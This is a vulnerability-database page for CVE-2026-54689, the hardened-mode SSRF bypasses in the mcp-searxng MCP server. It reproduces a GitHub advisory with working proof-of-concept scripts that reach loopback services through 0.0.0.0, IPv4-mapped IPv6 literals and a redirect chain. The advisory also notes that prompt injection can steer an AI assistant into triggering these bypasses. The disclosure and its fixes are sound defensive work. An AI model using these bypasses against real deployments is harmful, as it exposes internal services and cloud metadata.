What is the CVSS score of CVE-2026-54689?

CVE-2026-54689 has a CVSS 3.1 base score of 6.3 (Medium). CVSS vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N.

Is there a patch available for CVE-2026-54689?

Yes, a patch is available for CVE-2026-54689. Update the affected software to the latest version immediately.

mcp-searxng CVE-2026-54689

MEDIUM

Information Exposure (CWE-200)

2026-08-19 https://github.com/ihor-sokoliuk/mcp-searxng

GHSA-wppf-h75h-6pm6

Elastic SSRF Information Disclosure Redis Node.js

6.3

CVSS 3.1 · GitHub Advisory

Severity by source

GitHub Advisory PRIMARY

6.3 MEDIUM

AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N

vuln.today AI

6.1 MEDIUM

AV:N reflects prompt-injection attack path through AI assistants; AC:H captures the prerequisite that attacker-controlled content must successfully influence AI tool invocation; S:C and C:H reflect internal resource disclosure across the trust boundary.

3.1 AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:N/A:N

4.0 AV:N/AC:H/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N

Primary rating from GitHub Advisory.

CVSS VectorGitHub Advisory

Attack Vector

Local

Attack Complexity

Low

Privileges Required

None

User Interaction

Required

Scope

Changed

Confidentiality

High

Integrity

None

Availability

None

Lifecycle Timeline

Source Code Evidence Fetched

Aug 19, 2026 - 19:57 vuln.today

Analysis Generated

Aug 19, 2026 - 19:57 vuln.today

CVE Published

Aug 19, 2026 - 19:23 github-advisory

MEDIUM 6.3

DescriptionGitHub Advisory

Summary

mcp-searxng has a hardened-mode URL-reading feature intended to prevent web_url_read from reaching private or internal network resources.

PR #79 appears to address one SSRF class: hostnames that resolve to private or internal addresses under hardened mode. I tested PR #79 locally and confirmed that it blocks the DNS-resolves-to-loopback case.

However, several other hardened-mode SSRF bypasses still appear to remain:

Redirects from an allowed first-hop URL to a loopback/internal URL are followed without re-validating the redirect target.
0.0.0.0 is not treated as an internal/special address.
IPv4-mapped IPv6 literals can bypass private-address checks after URL canonicalization.

With hardened mode enabled and private URLs not explicitly allowed, web_url_read was still able to fetch and return content from a local loopback sentinel service in all three cases.

Tested configuration

bash

MCP_HTTP_HARDEN=true
MCP_HTTP_ALLOW_PRIVATE_URLS unset

The MCP server was driven over stdio.

The test target was a harmless internal sentinel HTTP service bound to:

text

127.0.0.1:6789

The sentinel response contained:

text

INTERNAL_SECRET_DATA__mcp_searxng_ssrf_path2

Relationship to PR #79

I tested PR #79 locally:

PR: fix(url-reader): block DNS-rebinding SSRF via socket-level lookup guard (CWE-918) #79
PR commit tested: e55d28e7be6786a71cd7a0eaf13d3ec9d0b734d4
Base issue class: CWE-918 / SSRF in web_url_read
Hardened mode: enabled

Observed results:

text

Case                                         Result on PR #79
-------------------------------------------------------------
DNS hostname resolving to 127.0.0.1          blocked
0.0.0.0                                      BYPASS
[::ffff:127.0.0.1]                           BYPASS
redirect from non-private IP to 127.0.0.1    BYPASS

So PR #79 is a useful fix, but it does not fully close hardened-mode internal URL access.

Root cause

1. Redirect targets are not re-validated

The URL policy appears to be applied to the initial URL, but redirect targets are followed by fetch() without applying the same policy to each hop.

A non-private attacker-controlled first-hop URL can respond with:

http

302 Location: http://127.0.0.1:6789/secret

The request is then followed to loopback.

This is independent of DNS rebinding. Even if the initial host is a non-private IP literal, the redirect can still pivot to 127.0.0.1.

2. `0.0.0.0` is not treated as internal

0.0.0.0 is not currently blocked by the private IPv4 predicate. On Linux, connecting to 0.0.0.0:<port> can reach a local service bound on loopback or wildcard interfaces.

In my test, this URL returned the sentinel from the local loopback service:

text

http://0.0.0.0:6789/secret

3. IPv4-mapped IPv6 canonicalization bypass

The current IPv4-mapped IPv6 handling appears to expect a dotted-decimal tail such as:

text

::ffff:127.0.0.1

However, Node's WHATWG URL parser canonicalizes:

new URL("http://[::ffff:127.0.0.1]/").hostname

to:

text

[::ffff:7f00:1]

As a result, regex logic that expects the dotted-decimal form can miss the private IPv4-mapped address.

In my test, this URL returned the loopback sentinel:

text

http://[::ffff:127.0.0.1]:6789/secret

Impact

This is a hardened-mode SSRF bypass.

The sentinel service in the PoC is intentionally local and harmless. It represents an internal-only service reachable from the MCP server host.

In real deployments, the same class of issue could allow web_url_read to reach:

local admin panels bound to loopback;
Redis, Elasticsearch, or other local HTTP-like services;
internal HTTP APIs on private networks;
service mesh endpoints;
cloud metadata endpoints, depending on routing and environment.

This is especially relevant for MCP deployments because tool calls may be selected by an AI assistant. If untrusted content can influence tool use, it may be able to trigger web_url_read with one of these bypass URLs.

Proof of Concept

1. Build the PR #79 branch

bash

cd /home/exouser/Desktop
mkdir -p searxng_pr79_test
cd searxng_pr79_test

git clone --depth 1 \
  -b fix/cwe918-url-reader-ssrf-4676 \
  https://github.com/sebastiondev/mcp-searxng.git pr79

cd pr79
git rev-parse HEAD

npm install --no-audit --no-fund
npm run build

ls -l dist/index.js

Expected PR commit:

text

e55d28e7be6786a71cd7a0eaf13d3ec9d0b734d4

2. Start an internal sentinel service

This service represents an internal-only HTTP service reachable from the MCP server host.

bash

cat > /tmp/searxng_sentinel_server.py <<'PY'
#!/usr/bin/env python3
import sys
import threading
from http.server import BaseHTTPRequestHandler, HTTPServer

PORT = int(sys.argv[1]) if len(sys.argv) > 1 else 6789
SENTINEL = b"INTERNAL_SECRET_DATA__mcp_searxng_ssrf_path2"

class H(BaseHTTPRequestHandler):
    def do_GET(self):
        body = b"<html><body><h1>internal</h1><p>" + SENTINEL + b"</p></body></html>"
        self.send_response(200)
        self.send_header("Content-Type", "text/html")
        self.send_header("Content-Length", str(len(body)))
        self.end_headers()
        self.wfile.write(body)

    def log_message(self, fmt, *args):
        sys.stderr.write("[sentinel %s] %s\n" % (PORT, fmt % args))

def serve_v4():
    HTTPServer(("127.0.0.1", PORT), H).serve_forever()

def serve_v6():
    try:
        import socket
        class HTTPServerV6(HTTPServer):
            address_family = socket.AF_INET6
        HTTPServerV6(("::1", PORT), H).serve_forever()
    except Exception as e:
        sys.stderr.write(f"[sentinel] IPv6 listener failed: {e}\n")

threading.Thread(target=serve_v4, daemon=True).start()
serve_v6()
PY

fuser -k 6789/tcp 6790/tcp 2>/dev/null || true
nohup python3 /tmp/searxng_sentinel_server.py 6789 >/tmp/searxng_sentinel.log 2>&1 &
sleep 1

curl -sS http://127.0.0.1:6789/secret

Expected output contains:

text

INTERNAL_SECRET_DATA__mcp_searxng_ssrf_path2

3. PoC A: `0.0.0.0`

bash

cat > /tmp/poc_0_0_0_0.py <<'PY'
#!/usr/bin/env python3
import json
import os
import subprocess
import time
import sys
from pathlib import Path

REPO = Path("/home/exouser/Desktop/searxng_pr79_test/pr79")
SERVER = REPO / "dist" / "index.js"
SENTINEL = "INTERNAL_SECRET_DATA__mcp_searxng_ssrf_path2"

ENV = {
    "MCP_HTTP_HARDEN": "true",
    "MCP_HTTP_AUTH_TOKEN": "poc-token",
    "MCP_HTTP_ALLOWED_ORIGINS": "http://localhost:9999",
}

def send(p, o):
    p.stdin.write((json.dumps(o) + "\n").encode())
    p.stdin.flush()

def recv(p, want_id, timeout=20):
    end = time.time() + timeout
    while time.time() < end:
        line = p.stdout.readline()
        if not line:
            time.sleep(0.05)
            continue
        try:
            m = json.loads(line.decode())
        except Exception:
            continue
        if m.get("id") == want_id:
            return m
    raise TimeoutError()

def main():
    url = "http://0.0.0.0:6789/secret"
    print(f"[poc] hardened-mode read_url url = {url!r}")

    p = subprocess.Popen(
        ["node", str(SERVER)],
        stdin=subprocess.PIPE,
        stdout=subprocess.PIPE,
        stderr=subprocess.PIPE,
        cwd=str(REPO),
        env={**os.environ, **ENV},
    )

    try:
        send(p, {
            "jsonrpc": "2.0",
            "id": 1,
            "method": "initialize",
            "params": {
                "protocolVersion": "2024-11-05",
                "capabilities": {},
                "clientInfo": {"name": "poc", "version": "0"}
            }
        })
        recv(p, 1)

        send(p, {
            "jsonrpc": "2.0",
            "method": "notifications/initialized",
            "params": {}
        })

        send(p, {
            "jsonrpc": "2.0",
            "id": 2,
            "method": "tools/call",
            "params": {
                "name": "web_url_read",
                "arguments": {
                    "url": url,
                    "maxLength": 400
                }
            }
        })

        r = recv(p, 2)
    finally:
        try:
            p.terminate()
            p.wait(timeout=3)
        except Exception:
            p.kill()

    text = json.dumps(r).replace("\\\\_", "_").replace("\\_", "_")
    if SENTINEL in text:
        print("[poc] RESULT: BYPASS - sentinel returned")
        try:
            print("[poc] tool returned:", repr(r["result"]["content"][0]["text"][:200]))
        except Exception:
            pass
        sys.exit(0)

    print("[poc] RESULT: blocked / failed")
    print(json.dumps(r)[:500])
    sys.exit(1)

if __name__ == "__main__":
    main()
PY

python3 /tmp/poc_0_0_0_0.py

Observed:

text

[poc] hardened-mode read_url url = 'http://0.0.0.0:6789/secret'
[poc] RESULT: BYPASS - sentinel returned

4. PoC B: IPv4-mapped IPv6

bash

sed 's|http://0.0.0.0:6789/secret|http://[::ffff:127.0.0.1]:6789/secret|' \
  /tmp/poc_0_0_0_0.py > /tmp/poc_ipv4_mapped_ipv6.py

python3 /tmp/poc_ipv4_mapped_ipv6.py

Observed:

text

[poc] hardened-mode read_url url = 'http://[::ffff:127.0.0.1]:6789/secret'
[poc] RESULT: BYPASS - sentinel returned

5. PoC C: redirect from a non-private first-hop address to loopback

This uses 198.51.100.1 as a safe local stand-in for a non-private attacker-controlled first-hop address.

bash

sudo ip addr add 198.51.100.1/32 dev lo

cat > /tmp/redirector_public.py <<'PY'
#!/usr/bin/env python3
from http.server import BaseHTTPRequestHandler, HTTPServer

class H(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(302)
        self.send_header("Location", "http://127.0.0.1:6789/secret")
        self.send_header("Content-Length", "0")
        self.end_headers()

    def log_message(self, *args, **kwargs):
        pass

HTTPServer(("198.51.100.1", 6790), H).serve_forever()
PY

fuser -k 6790/tcp 2>/dev/null || true
nohup python3 /tmp/redirector_public.py >/tmp/searxng_redirector_public.log 2>&1 &
sleep 1

curl -sSL http://198.51.100.1:6790/jump

The curl sanity check should return the internal sentinel.

Now run the MCP request:

bash

sed 's|http://0.0.0.0:6789/secret|http://198.51.100.1:6790/jump|' \
  /tmp/poc_0_0_0_0.py > /tmp/poc_redirect_public_to_loopback.py

python3 /tmp/poc_redirect_public_to_loopback.py

Observed:

text

[poc] hardened-mode read_url url = 'http://198.51.100.1:6790/jump'
[poc] RESULT: BYPASS - sentinel returned

Cleanup

bash

fuser -k 6789/tcp 6790/tcp 2>/dev/null || true
sudo ip addr del 198.51.100.1/32 dev lo 2>/dev/null || true

Reproduction note

NodeHtmlMarkdown escapes _ to \_, so the sentinel may appear in the MCP response as:

text

INTERNAL\_SECRET\_DATA\_\_mcp\_searxng\_ssrf\_path2

When grepping or matching the response, either match against the escaped form or normalize \_ back to _.

Expected behavior

When hardened mode is enabled and private URLs are not explicitly allowed, web_url_read should not be able to fetch loopback or internal resources through:

direct special-address literals;
IPv4-mapped IPv6 literals;
redirect chains;
hostnames that resolve to private or internal addresses.

Actual behavior

With hardened mode enabled, PR #79 blocks the DNS hostname case, but the following still return content from a loopback service:

text

http://0.0.0.0:6789/secret
http://[::ffff:127.0.0.1]:6789/secret
http://198.51.100.1:6790/jump  -> 302 Location: http://127.0.0.1:6789/secret

Suggested fix

A complete fix likely needs more than a connect-time DNS lookup guard.

Suggested changes:

Re-validate every redirect hop. One option is to use redirect: "manual" and apply the same URL policy to each Location before following it.
Treat 0.0.0.0/8 and other IANA special-purpose ranges as internal/non-public.
Handle IPv4-mapped IPv6 after canonicalization, including forms such as [::ffff:7f00:1].
Apply private-address checks to IP literals directly, not only through DNS lookup hooks.
Use an IP parsing library or byte-level address checks instead of regex-only IPv6 matching.
Add regression tests for:
redirect to 127.0.0.1;
0.0.0.0;
[::ffff:127.0.0.1];
hostname resolving to 127.0.0.1;
decimal IPv4 normalization remaining blocked.

AnalysisAI

Hardened-mode SSRF protections in the mcp-searxng Node.js MCP server (npm/mcp-searxng < 1.2.1) can be bypassed via three distinct techniques, allowing web_url_read to fetch loopback and internal network resources despite MCP_HTTP_HARDEN=true being set. The bypasses exploit: unvalidated HTTP redirect chains to internal addresses, the unblocked 0.0.0.0 special address, and IPv4-mapped IPv6 literals that survive Node's WHATWG URL canonicalization intact but defeat regex-based private-address filters. …

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Vulnerability AssessmentAI

Exploitation	Exploitation requires mcp-searxng to be deployed with `MCP_HTTP_HARDEN=true` and `MCP_HTTP_ALLOW_PRIVATE_URLS` unset or explicitly denying private URLs - the exact hardened-mode configuration the security feature is designed to enforce. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment	The NVD-assigned CVSS 3.1 base score of 6.3 (Medium) uses AV:L (local attack vector), AC:L, PR:N, UI:R, S:C, C:H, I:N, A:N. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario	Full exploit scenario with step-by-step reproduction available after sign-in.
Remediation	Upgrade mcp-searxng to version 1.2.1 or later via `npm install mcp-searxng@1.2.1`, which resolves the hardened-mode SSRF bypasses documented in issue #91 and GHSA-wppf-h75h-6pm6 (https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.2.1). … Detailed patch versions, workarounds, and compensating controls in full report.